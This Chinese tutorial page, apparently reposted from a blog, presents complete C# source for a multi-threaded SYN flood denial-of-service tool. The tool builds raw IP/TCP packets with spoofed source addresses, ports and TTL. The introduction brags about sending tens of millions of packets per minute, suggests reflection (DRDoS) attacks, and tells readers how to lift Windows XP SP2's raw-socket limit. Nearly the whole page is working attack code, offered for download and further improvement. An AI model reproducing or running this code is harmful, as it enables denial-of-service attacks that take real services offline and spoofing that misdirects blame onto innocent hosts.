45fan.com - 路饭网

搜索: 您的位置主页 > 电脑频道 > 电脑教程 > 阅读资讯:使用C#写的SYN利器的详细介绍

使用C#写的SYN利器的详细介绍

2016-08-31 13:38:53 来源:www.45fan.com 【

使用C#写的SYN利器的详细介绍

现在已经实现在我的电脑上开 1800个线程 每分钟 2000W SYN包攻击.

可以在普通机最少上开1000个线程 每分种 1200W的 SYN包攻击,

这个工具的源IP 和端口都是使用SOCKET RAW 伪造的.连TIL 也伪造. 我本来想什么都伪造 的,但是为了好研究点.没添加上去.

另外可以指定 源IP 来实现 所谓的DRDOS ?

由于 WINDOWS XP SP2 由于禁止 了 RAW 所以 需要 剁掉 TCPIP.SYS

WINODWS 2000XP SP1 2003 可以OK的 使用

此程序部分代码 模仿 网上 流传的 C# DDOS 伪IP ?

但是 有本质的区别 luyikk Monster raid 是 基于类 和安全代码构建的.

CPU占用量 得到本质的提升 ,速度 可以在普通 机上开 1000 线程 可想而知.

还有代码 完全共享 原 CSDN的大哥哥 大姐姐 牛人等 可以 优化 更改下实现 超级 SYN工具 C#版..

代码太长就不发这里了 我把整个项目打包给大家下载

代码加程序下载.............点击下载

有什么优化方按大家 发到 http://Blog.csdn.net/luyikk

下面是代码 哦

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.Net;
using System.Net.Sockets;
using System.Runtime.InteropServices;
using System.Threading;

namespace WindowsApplication1
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}


Socket Sockets;

string Hostclient;

EndPoint Hostpoint;

private bool vb = true;

IPHostEntry Hostinfo;

private void button1_Click(object sender, EventArgs e)
{


listBox1.Items.Clear();

Hostclient = textBox1.Text;

vb = true;

 

try
{
//解析主机ip入口
Hostinfo = Dns.GetHostByName(Hostclient);

goadds = Convert.ToUInt32(Hostinfo.AddressList[0].Address);

goport = ushort.Parse(this.textBox4.Text);

byte[] bt = BitConverter.GetBytes(goport);
Array.Reverse(bt);
goport = BitConverter.ToUInt16(bt, 0);

}
catch (Exception)
{
//解析主机名错误。
this.listBox1.BeginInvoke(new System.EventHandler(UpdateUI), "没有发现此主机!");
// listBox1.Items.Add("没有发现此主机!");
return;
}

try
{
if (this.radioButton2.Checked == true)
{
prot = ushort.Parse(this.textBox5.Text);

addess = Convert.ToUInt32(Dns.GetHostByName(this.textBox3.Text).AddressList[0].Address);
}
}
catch
{
MessageBox.Show("你所提供的信息不完全或不正确");
}

 


Sockets = new Socket(AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.IP);
Sockets.SetSocketOption(SocketOptionLevel.IP, SocketOptionName.HeaderIncluded, 1);
Sockets.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.ReceiveTimeout, 1000);


Hostpoint = (EndPoint)new IPEndPoint(Hostinfo.AddressList[0], goport);


for (int i = 0; i < int.Parse(this.textBox2.Text); i++)
{

Thread a = new Thread(new ThreadStart(ghostDDOSstart));
a.Start();

}

}


private void UpdateUI(object o, System.EventArgs e)
{
listBox1.Items.Add(o.ToString());

}


private void UpdateUI2(object o, System.EventArgs e)
{
listBox1.Items.Clear();

}


ushort prot;
uint addess;
Random rand = new Random();
bool mode = true;
ushort goport;
uint goadds;

long kvo = 0;

long bvo = 0;

private void ghostDDOSstart()
{
psdHeader psdpack = new psdHeader();
tcpHeader tcppack = new tcpHeader();
ipHeader ippacket = new ipHeader();

ippacket.ip_verlen = 69;
ippacket.ip_tos = 0;
ippacket.ip_totallength = 0x2800;
ippacket.ip_id = 0x9B18;
ippacket.ip_offset = 0x40;
ippacket.ip_ttl = 128;
ippacket.ip_protocol = 6;
ippacket.ip_checksum = UInt16.Parse("0");
ippacket.ip_destaddr = goadds;

//--------------------------------------构造IP头

psdpack.daddr = ippacket.ip_destaddr;
psdpack.mbz = 0;
psdpack.ptcl = 6;
psdpack.tcpl = 0x1400;

//---------------------------------------构造伪SYN包

tcppack.th_dport = goport;
tcppack.th_ack = 0;
tcppack.th_lenres = 80;
tcppack.th_flag = 2;
tcppack.th_win = ushort.Parse("16614");
tcppack.th_sum = UInt16.Parse("0");
tcppack.th_urp = UInt16.Parse("0");

//---------------------------------------构造伪TCP包
while (true)
{
uint ipsrcaddr;
ushort duankou;

if (mode == true)
{

ipsrcaddr = Convert.ToUInt32(IPAddress.Parse(rand.Next(1, 255) + "." + rand.Next(1, 255) + "." + rand.Next(1, 255) + "." + rand.Next(1, 255)).Address);

duankou = Convert.ToUInt16(rand.Next(1, 10000));
byte[] bt = BitConverter.GetBytes(duankou);
Array.Reverse(bt);
duankou = BitConverter.ToUInt16(bt, 0);

}
else
{
ipsrcaddr = addess;

duankou = Convert.ToUInt16(prot);

byte[] bt = BitConverter.GetBytes(duankou);
Array.Reverse(bt);
duankou = BitConverter.ToUInt16(bt, 0);
}

psdpack.saddr = ipsrcaddr;

tcppack.th_sport = duankou;
tcppack.th_seq = IPAddress.HostToNetworkOrder((int)rand.Next(-2147483646, 2147483646));

tcppack.th_sum = UInt16.Parse("0");
ippacket.ip_checksum = UInt16.Parse("0");

ippacket.ip_ttl = (byte)rand.Next(80, 255);


Byte[] psdbuff = new byte[12];

int index = psdpack.CountByte(ref psdbuff);

if (index != 12)
{
this.listBox1.BeginInvoke(new System.EventHandler(UpdateUI), "构造TCP头错误#1");
return;
}


Byte[] tcpbuff = new byte[20];

index = tcppack.CountByte(ref tcpbuff);

if (index != 20)
{
this.listBox1.BeginInvoke(new System.EventHandler(UpdateUI), "构造TCP头错误#2");
return;
}

Byte[] tcphe = new byte[32];

index = 0;

Array.Copy(psdbuff, 0, tcphe, index, psdbuff.Length);
index += psdbuff.Length;
Array.Copy(tcpbuff, 0, tcphe, index, tcpbuff.Length);
index += tcpbuff.Length;

tcppack.th_sum = tcppack.checksum_get(tcphe, index);

index = 0;

index = tcppack.CountByte(ref tcpbuff);


if (index != 20)
{
this.listBox1.BeginInvoke(new System.EventHandler(UpdateUI), "构造TCP头错误#3");
return;
}

ippacket.ip_srcaddr = ipsrcaddr;


int ippacketlength = 20;

Byte[] buff = new byte[ippacketlength];


index = ippacket.CountByte(ref buff);

if (index != ippacketlength)
{
this.listBox1.BeginInvoke(new System.EventHandler(UpdateUI), "构造IP包头错误#1");
return;
}

index = 0;

Byte[] iptcp = new byte[40];

Array.Copy(buff, 0, iptcp, index, buff.Length);
index += buff.Length;
Array.Copy(tcpbuff, 0, iptcp, index, tcpbuff.Length);
index += tcpbuff.Length;


ippacket.ip_checksum = ippacket.checksum_get(iptcp, index);

index = 0;

 

index = ippacket.CountByte(ref buff);

if (index != ippacketlength)
{
this.listBox1.BeginInvoke(new System.EventHandler(UpdateUI), "构造IP包头错误#2");
return;
}


index = 0;
Array.Copy(buff, 0, iptcp, index, buff.Length);
index += buff.Length;
Array.Copy(tcpbuff, 0, iptcp, index, tcpbuff.Length);
index += tcpbuff.Length;


if (index != 40)
{
this.listBox1.BeginInvoke(new System.EventHandler(UpdateUI), "构造TCP/IP包头错误#1");
return;
}


int Nbytes = 1;


try
{


if ((Nbytes = Sockets.SendTo(iptcp, Hostpoint)) == -1)
{
this.listBox1.BeginInvoke(new System.EventHandler(UpdateUI), "无法传送报文!#1");

}

}
catch (Exception eb)
{
this.listBox1.BeginInvoke(new System.EventHandler(UpdateUI), "无法传送报文!XPSP2要打补丁才能使用");
break;
}

if (Nbytes > 0)
{
kvo++;


if (kvo > 3000)
{
this.listBox1.BeginInvoke(new System.EventHandler(UpdateUI2), "0");

bvo = bvo + kvo;
this.listBox1.BeginInvoke(new System.EventHandler(UpdateUI), "go---- " + Hostinfo.AddressList[0].ToString() + "to byte:" + Nbytes + "and count:" + bvo.ToString());
kvo = 0;


}


}

if (vb == false)
{
break;
}

Thread.Sleep(50);

}


}


private void radioButton1_CheckedChanged(object sender, EventArgs e)
{
if (radioButton1.Checked == true)
{
mode = true;
this.textBox3.Enabled = false;
this.textBox5.Enabled = false;
}
}

private void radioButton2_CheckedChanged(object sender, EventArgs e)
{
if (radioButton2.Checked == true)
{
mode = false;
this.textBox3.Enabled = true;

this.textBox5.Enabled = true;
}


}

private void Form1_Load(object sender, EventArgs e)
{
radioButton1.Checked = true;
}

private void button2_Click(object sender, EventArgs e)
{
vb = false;
bvo = 0;
kvo = 0;

GC.Collect();
GC.WaitForPendingFinalizers();
}

private int getcout(int i)
{

byte[] bt = BitConverter.GetBytes(i);
Array.Reverse(bt);
return BitConverter.ToUInt16(bt, 0);
}

 

}

public class tcpHeader
{
public UInt16 th_sport; //16位源端口
public UInt16 th_dport; //16位目的端口
public int th_seq; //32位序列号
public uint th_ack; //32位确认号
public Byte th_lenres; //4位首部长度/6位保留字
public Byte th_flag; //6位标志位
public UInt16 th_win; //16位窗口大小
public UInt16 th_sum; //16位校验和
public UInt16 th_urp; //16位紧急数据偏移量


public tcpHeader()
{

}

public UInt16 checksum(UInt16[] buffer, int size)
{
Int32 cksum = 0;
int counter;
counter = 0;

while (size > 0)
{
UInt16 val = buffer[counter];

cksum += Convert.ToInt32(buffer[counter]);
counter += 1;
size -= 1;
}

cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >> 16);
return (UInt16)(~cksum);
}


public UInt16 checksum_get(byte[] buffer, int size)
{


Double double_length = Convert.ToDouble(size);
Double dtemp = Math.Ceiling(double_length / 2);
int cksum_buffer_length = Convert.ToInt32(dtemp);
UInt16[] cksum_buffer = new UInt16[cksum_buffer_length];
int icmp_header_buffer_index = 0;
for (int i = 0; i < cksum_buffer_length; i++)
{
cksum_buffer[i] =
BitConverter.ToUInt16(buffer, icmp_header_buffer_index);
icmp_header_buffer_index += 2;
}
UInt16 u_cksum = checksum(cksum_buffer, cksum_buffer_length);
return u_cksum;


}

public int CountByte(ref Byte[] buffer)
{
Byte[] _th_sport = BitConverter.GetBytes(th_sport);
Byte[] _th_dport = BitConverter.GetBytes(th_dport);
Byte[] _th_seq=BitConverter.GetBytes(th_seq);
Byte[] _th_ack =BitConverter.GetBytes( th_ack );
Byte[] _th_lenres = new Byte[1] { th_lenres };
Byte[] _th_flag = new Byte[1] { th_flag };
Byte[] _th_win = BitConverter.GetBytes(th_win);
Byte[] _th_sum = BitConverter.GetBytes(th_sum);
Byte[] _th_urp = BitConverter.GetBytes(th_urp);


int i = 0;
Array.Copy(_th_sport, 0, buffer, i, _th_sport.Length);
i += _th_sport.Length;
Array.Copy(_th_dport, 0, buffer, i, _th_dport.Length);
i += _th_dport.Length;
Array.Copy(_th_seq, 0, buffer, i, _th_seq.Length);
i += _th_seq.Length;
Array.Copy(_th_ack, 0, buffer, i, _th_ack.Length);
i += _th_ack.Length;
Array.Copy(_th_lenres, 0, buffer, i, _th_lenres.Length);
i += _th_lenres.Length;
Array.Copy(_th_flag, 0, buffer, i, _th_flag.Length);
i += _th_flag.Length;
Array.Copy(_th_win, 0, buffer, i, _th_win.Length);
i += _th_win.Length;
Array.Copy(_th_sum, 0, buffer, i, _th_sum.Length);
i += _th_sum.Length;
Array.Copy(_th_urp, 0, buffer, i, _th_urp.Length);
i += _th_urp.Length;
return i;

}


}


public class ipHeader
{
public Byte ip_verlen; //4位首部长度+4位IP版本号
public Byte ip_tos; //8位服务类型TOS
public UInt16 ip_totallength; //16位数据包总长度(字节)
public UInt16 ip_id; //16位标识
public UInt16 ip_offset; //3位标志位
public Byte ip_ttl; //8位生存时间 TTL
public Byte ip_protocol; //8位协议(TCP, UDP, ICMP, Etc.) (1->ICMP, 2->IGMP, 6->TCP, 17->UDP)
public UInt16 ip_checksum; //16位IP首部校验和
public uint ip_srcaddr; //32位源IP地址
public uint ip_destaddr; //32位目的IP地址


public ipHeader()
{

}


public UInt16 checksum(UInt16[] buffer, int size)
{
Int32 cksum = 0;
int counter;
counter = 0;

while (size > 0)
{
UInt16 val = buffer[counter];

cksum += Convert.ToInt32(buffer[counter]);
counter += 1;
size -= 1;
}

cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >> 16);
return (UInt16)(~cksum);
}


public UInt16 checksum_get(byte[] buffer, int size)
{


Double double_length = Convert.ToDouble(size);
Double dtemp = Math.Ceiling(double_length / 2);
int cksum_buffer_length = Convert.ToInt32(dtemp);
UInt16[] cksum_buffer = new UInt16[cksum_buffer_length];
int icmp_header_buffer_index = 0;
for (int i = 0; i < cksum_buffer_length; i++)
{
cksum_buffer[i] =
BitConverter.ToUInt16(buffer, icmp_header_buffer_index);
icmp_header_buffer_index += 2;
}
UInt16 u_cksum = checksum(cksum_buffer, cksum_buffer_length);
return u_cksum;


}

public int CountByte(ref Byte[] buffer)
{
Byte[] _ip_verlen = new Byte[1] { ip_verlen };

Byte[] _ip_tos = new Byte[1] { ip_tos };

Byte[] _ip_totallength = BitConverter.GetBytes(ip_totallength);

Byte[] _ip_id = BitConverter.GetBytes(ip_id);

Byte[] _ip_offset = BitConverter.GetBytes(ip_offset);

Byte[] _ip_ttl = new Byte[1] { ip_ttl };

Byte[] _ip_protocol = new Byte[1] { ip_protocol };

Byte[] _ip_checksum = BitConverter.GetBytes(ip_checksum);

Byte[] _ip_srcaddr = BitConverter.GetBytes(ip_srcaddr);

Byte[] _ip_destaddr = BitConverter.GetBytes(ip_destaddr);

int i = 0;
Array.Copy(_ip_verlen, 0, buffer, i, _ip_verlen.Length);
i += _ip_verlen.Length;
Array.Copy(_ip_tos, 0, buffer, i, _ip_tos.Length);
i += _ip_tos.Length;
Array.Copy(_ip_totallength, 0, buffer, i, _ip_totallength.Length);
i += _ip_totallength.Length;
Array.Copy(_ip_id, 0, buffer, i, _ip_id.Length);
i += _ip_id.Length;
Array.Copy(_ip_offset, 0, buffer, i, _ip_offset.Length);
i += _ip_offset.Length;
Array.Copy(_ip_ttl, 0, buffer, i, _ip_ttl.Length);
i += _ip_ttl.Length;
Array.Copy(_ip_protocol, 0, buffer, i, _ip_protocol.Length);
i += _ip_protocol.Length;
Array.Copy(_ip_checksum, 0, buffer, i, _ip_checksum.Length);
i += _ip_checksum.Length;
Array.Copy(_ip_srcaddr, 0, buffer, i, _ip_srcaddr.Length);
i += _ip_srcaddr.Length;
Array.Copy(_ip_destaddr, 0, buffer, i, _ip_destaddr.Length);
i += _ip_destaddr.Length;

return i;

}

}

//ICMP包没有使用;
public class IcmpPacket
{
private Byte _type; // 类型
private Byte _subCode; // 代码
private UInt16 _checkSum; // 校验和
private UInt16 _identifier; // 识别符
private UInt16 _sequenceNumber; // 序列号
private Byte[] _data; //选项数据
//初始化ICMP报文
public IcmpPacket(Byte type, Byte subCode, UInt16 checkSum, UInt16 identifier, UInt16 sequenceNumber, int dataSize)
{
_type = type;
_subCode = subCode;
_checkSum = checkSum;
_identifier = identifier;
_sequenceNumber = sequenceNumber;
_data = new Byte[dataSize];
//在选项数据中,写入指定的数据大小
for (int i = 0; i < dataSize; i++)
{
//由于选项数据在此命令中并不重要,所以你可以改换任何你喜欢的字符
_data[i] = (byte)'x';
}
}
public UInt16 CheckSum
{
get
{
return _checkSum;
}
set
{
_checkSum = value;
}
}


//得到将整个ICMP报文信息和数据转化为Byte时的Byte数目,主要是用来判断报文的完整性
public int CountByte(ref Byte[] buffer)
{

Byte[] b_type = new Byte[1] { _type };
Byte[] b_code = new Byte[1] { _subCode };
Byte[] b_cksum = BitConverter.GetBytes(_checkSum);
Byte[] b_id = BitConverter.GetBytes(_identifier);
Byte[] b_seq = BitConverter.GetBytes(_sequenceNumber);
int i = 0;
Array.Copy(b_type, 0, buffer, i, b_type.Length);
i += b_type.Length;
Array.Copy(b_code, 0, buffer, i, b_code.Length);
i += b_code.Length;
Array.Copy(b_cksum, 0, buffer, i, b_cksum.Length);
i += b_cksum.Length;
Array.Copy(b_id, 0, buffer, i, b_id.Length);
i += b_id.Length;
Array.Copy(b_seq, 0, buffer, i, b_seq.Length);
i += b_seq.Length;
Array.Copy(_data, 0, buffer, i, _data.Length);
i += _data.Length;
return i;
}


public static UInt16 SumOfCheck(UInt16[] buffer)
{
int cksum = 0;
for (int i = 0; i < buffer.Length; i++)
cksum += (int)buffer[i];
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >> 16);
return (UInt16)(~cksum);
}
}


public class psdHeader
{


public uint saddr; //源地址
public uint daddr; //目的地址
public Byte mbz;
public Byte ptcl; //协议类型
public UInt16 tcpl; //TCP长度


public psdHeader()
{

}

public UInt16 checksum(UInt16[] buffer, int size)
{
Int32 cksum = 0;
int counter;
counter = 0;

while (size > 0)
{
UInt16 val = buffer[counter];

cksum += Convert.ToInt32(buffer[counter]);
counter += 1;
size -= 1;
}

cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >> 16);
return (UInt16)(~cksum);
}


public UInt16 checksum_get(byte[] buffer, int size)
{


Double double_length = Convert.ToDouble(size);
Double dtemp = Math.Ceiling(double_length / 2);
int cksum_buffer_length = Convert.ToInt32(dtemp);
UInt16[] cksum_buffer = new UInt16[cksum_buffer_length];
int icmp_header_buffer_index = 0;
for (int i = 0; i < cksum_buffer_length; i++)
{
cksum_buffer[i] =
BitConverter.ToUInt16(buffer, icmp_header_buffer_index);
icmp_header_buffer_index += 2;
}
UInt16 u_cksum = checksum(cksum_buffer, cksum_buffer_length);
return u_cksum;

}

public int CountByte(ref Byte[] buffer)
{
Byte[] _saddr = BitConverter.GetBytes(saddr);
Byte[] _daddr = BitConverter.GetBytes(daddr);
Byte[] _mbz = new Byte[1] { mbz };
Byte[] _ptcl = new Byte[1] { ptcl };
Byte[] _tcpl = BitConverter.GetBytes(tcpl);

int i = 0;
Array.Copy(_saddr, 0, buffer, i, _saddr.Length);
i += _saddr.Length;
Array.Copy(_daddr, 0, buffer, i, _daddr.Length);
i += _daddr.Length;
Array.Copy(_mbz, 0, buffer, i, _mbz.Length);
i += _mbz.Length;
Array.Copy(_ptcl, 0, buffer, i, _ptcl.Length);
i += _ptcl.Length;
Array.Copy(_tcpl, 0, buffer, i, _tcpl.Length);
i += _tcpl.Length;
return i;
}


}

}

 

本文地址:http://www.45fan.com/dnjc/70307.html
Tags: raid luyikk Monster
编辑:路饭网
关于我们 | 联系我们 | 友情链接 | 网站地图 | Sitemap | App | 返回顶部